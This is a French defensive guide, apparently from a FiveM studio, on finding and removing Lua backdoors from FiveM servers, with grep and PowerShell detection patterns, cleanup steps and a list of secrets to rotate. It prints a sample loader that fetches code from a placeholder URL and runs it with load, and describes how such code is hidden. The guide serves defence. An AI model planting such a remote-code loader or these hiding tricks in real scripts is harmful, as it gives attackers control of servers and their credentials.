Backdoor FiveM : détecter, nettoyer, prévenir
Backdoor FiveM : comment une ressource piégée infecte ton serveur, les commandes pour la trouver, le nettoyage et les secrets à changer tout de suite.
En bref
- Une backdoor FiveM est presque toujours quelques lignes de Lua côté serveur qui téléchargent du code avec
PerformHttpRequestpuis l'exécutent avecload. - Elle entre par une ressource que tu installes toi-même, le plus souvent un leak de script payant.
- Pour la chercher :
grep -rnE "PerformHttpRequest|assert\(load|load\(" resources, puis vérifier la destination de chaque requête. - On nettoie en réinstallant les ressources depuis leurs sources officielles, pas en supprimant une ligne : le code se recopie ailleurs.
- Après le nettoyage, on change tous les secrets : clé de licence Cfx.re,
rcon_password, comptes txAdmin, base de données, tokens et webhooks Discord.
Comment une backdoor infecte-t-elle un serveur FiveM ?
Par une ressource piégée que tu démarres. Pas besoin de faille dans FiveM : le code malveillant tourne avec les mêmes droits que n'importe quel script serveur.
À quoi ressemble le code d'une backdoor ?
À un appel HTTP dont la réponse est exécutée :
-- Schéma typique, URL remplacée
PerformHttpRequest('https://exemple.invalid/charge', function(code, body)
if body then
assert(load(body))()
end
end)
PerformHttpRequest récupère un texte, load le transforme en fonction Lua, et () l'exécute. Celui qui contrôle l'URL contrôle ton serveur, et change le code envoyé quand il veut. C'est le fonctionnement des « panels » du type Cipher : l'acheteur génère ces lignes, les glisse dans une ressource et récupère la main sur chaque serveur qui la démarre. En JavaScript, l'équivalent passe par eval(, new Function( ou le module Node child_process.
Comment la backdoor se cache-t-elle ?
Personne ne laisse une URL en clair. Tu trouveras plutôt :
- des chaînes en échappements hexadécimaux :
"\x50\x65\x72\x66\x6f\x72\x6d..."; - des
string.char(80, 101, 114, ...)qui reconstruisent un nom de fonction ; - des accès indirects du type
_G["Perf" .. "ormHttpRequest"]; - une ligne poussée loin à droite après des centaines d'espaces, invisible dans l'éditeur ;
- un fichier au nom banal (
utils.lua,version.lua) dans un sous-dossier que personne n'ouvre.
Comment se propage-t-elle ?
Une fois lancé, le code distant sort de sa ressource. Les backdoors connues :
- ajoutent des fichiers dans d'autres ressources, avec une ligne dans leur
fxmanifest.luapour les charger, y compris dans les builders systèmeyarnetwebpack; - se réinjectent : tu supprimes la ligne, elle revient au redémarrage parce qu'une autre ressource infectée la réécrit ;
- lisent tes fichiers :
server.cfg, clé de licence, chaîne de connexion à la base, tokens ; - sortent de FiveM quand le processus a assez de droits : exécutable téléchargé, compte Windows créé, accès bureau à distance.
C'est pour ça que FXServer ne doit jamais tourner en administrateur ou en root.
Comment savoir si mon serveur a une backdoor ?
En cherchant les appels HTTP et l'exécution de code dynamique dans tout le dossier resources, serveur arrêté.
Sous Linux
cd ~/FXServer/server-data
# Appels HTTP et exécution de code dynamique
grep -rnE "PerformHttpRequest|assert\(load|load\(|loadstring" resources --include=*.lua
# Côté JavaScript
grep -rnE "eval\(|new Function\(|child_process" resources --include=*.js
# Longues suites d'échappements hexadécimaux
grep -rlE '(\\x[0-9a-fA-F]{2}){20,}' resources
# Lignes anormalement longues
grep -rlE '.{1000,}' resources --include=*.lua
Sous Windows (PowerShell)
cd C:\FXServer\server-data
Get-ChildItem resources -Recurse -Include *.lua |
Select-String -Pattern 'PerformHttpRequest','assert\(load','load\(','loadstring'
Get-ChildItem resources -Recurse -Include *.js |
Select-String -Pattern 'eval\(','new Function\(','child_process'
Get-ChildItem resources -Recurse -Include *.lua,*.js |
Select-String -Pattern '(\\x[0-9a-fA-F]{2}){20,}' -List
Comment trier les résultats ?
En regardant où part chaque requête et ce que devient la réponse. PerformHttpRequest sert aussi pour les webhooks Discord ou une vérification de version. Pour chaque ligne :
- Où part la requête ? Discord, GitHub ou le site connu de l'auteur : normal. Un domaine inconnu, une IP brute, une URL construite ou chiffrée : suspect.
- Que devient la réponse ? Si elle finit dans
loadoueval, c'est de l'exécution de code distant. Une ressource honnête n'en a pas besoin. - Le fichier a-t-il sa place ? Compare avec l'archive d'origine : un fichier en plus, ou une ligne en plus dans
fxmanifest.lua, est un signal fort.
Comment nettoyer un serveur FiveM infecté ?
En repartant de sources propres, pas en effaçant la ligne trouvée. Dans l'ordre :
- Coupe le serveur et garde une copie du dossier infecté hors ligne, pour analyse.
- Supprime la ressource d'origine, celle par laquelle tout a commencé.
- Réinstalle les autres ressources depuis leurs sources officielles (dépôt du framework, archive d'achat). Recopie tes
config.luaà la main, après relecture. - Relance la recherche sur le dossier propre : zéro résultat suspect avant de redémarrer.
- Vérifie les accès : admins txAdmin, lignes
add_principaletadd_acedansserver.cfg, groupes admin en base (colonnegroupde la tableuserssur ESX), comptes système inconnus. - Si la machine elle-même est touchée (exécutable inconnu, compte système créé, tâche planifiée que tu n'as pas faite), réinstalle-la.
Quels secrets changer après une backdoor ?
Tous ceux que le serveur pouvait lire, et après le nettoyage, sinon les nouveaux fuient aussi.
| Secret | Où le changer |
|---|---|
Clé de licence sv_licenseKey |
Régénère-la sur le Portal Cfx.re, puis mets à jour server.cfg |
rcon_password |
server.cfg, ou supprime-le : sans mot de passe, RCON est désactivé (doc des commandes serveur) |
| Mots de passe txAdmin | Panneau txAdmin, pour chaque admin |
| Mot de passe de la base | MariaDB, puis mysql_connection_string |
| Tokens de bots Discord | Portail développeur Discord, réinitialisation du token |
| Webhooks Discord | Supprime-les, recrée-les, mets à jour les configs |
| Accès hébergeur, SFTP, panel | Chez ton hébergeur |
Comment éviter les backdoors ?
En ne démarrant rien que tu n'as pas lu ou acheté à la source.
- N'installe jamais de leak. C'est précisément là que ces panels sont injectés.
- Scanne toute ressource tierce avant de la démarrer, même gratuite. Les commandes plus haut prennent deux minutes.
- Lance FXServer avec un compte limité.
- Garde des sauvegardes datées de tes ressources et de ta base.
- Donne les droits au minimum : voir Permissions ACE.
Questions fréquentes
PerformHttpRequest est-il dangereux ?
Non, c'est une fonction normale utilisée par les webhooks et les vérifications de version. Le danger, c'est quand la réponse est passée à load ou eval : le serveur exécute alors du code qu'il n'a jamais vu.
Un script escrow peut-il contenir une backdoor ?
En théorie oui : le code chiffré ne se lit pas, donc ta seule garantie est la confiance dans le vendeur. Achète chez des créateurs identifiés et scanne quand même les fichiers livrés en clair.
J'ai supprimé la ligne, pourquoi elle revient ?
Parce qu'une autre ressource infectée la réécrit au démarrage. Il faut chercher dans tout le dossier resources et réinstaller les ressources touchées depuis leur source.
Un antivirus détecte-t-il une backdoor FiveM ?
Ne compte pas dessus pour le code Lua : c'est du texte qui appelle des fonctions FiveM ordinaires. Un antivirus est surtout utile si la backdoor a déposé un exécutable sur la machine.
Changer la clé de licence suffit-il ?
Non. Tant que la ressource piégée tourne, elle lira la nouvelle clé comme l'ancienne. Nettoie d'abord, change tous les secrets ensuite.
Besoin d'un coup de main ?
Serveur déjà infecté, admins qui apparaissent tout seuls, comportements inexpliqués : chez KAAPSULE, studio FiveM francophone, c'est la prestation Gestion des urgences (backdoor, cheat, crash). Pour un audit avant qu'il arrive quelque chose, regarde la mise en norme. Pour une question, passe sur le Discord KAAPSULE.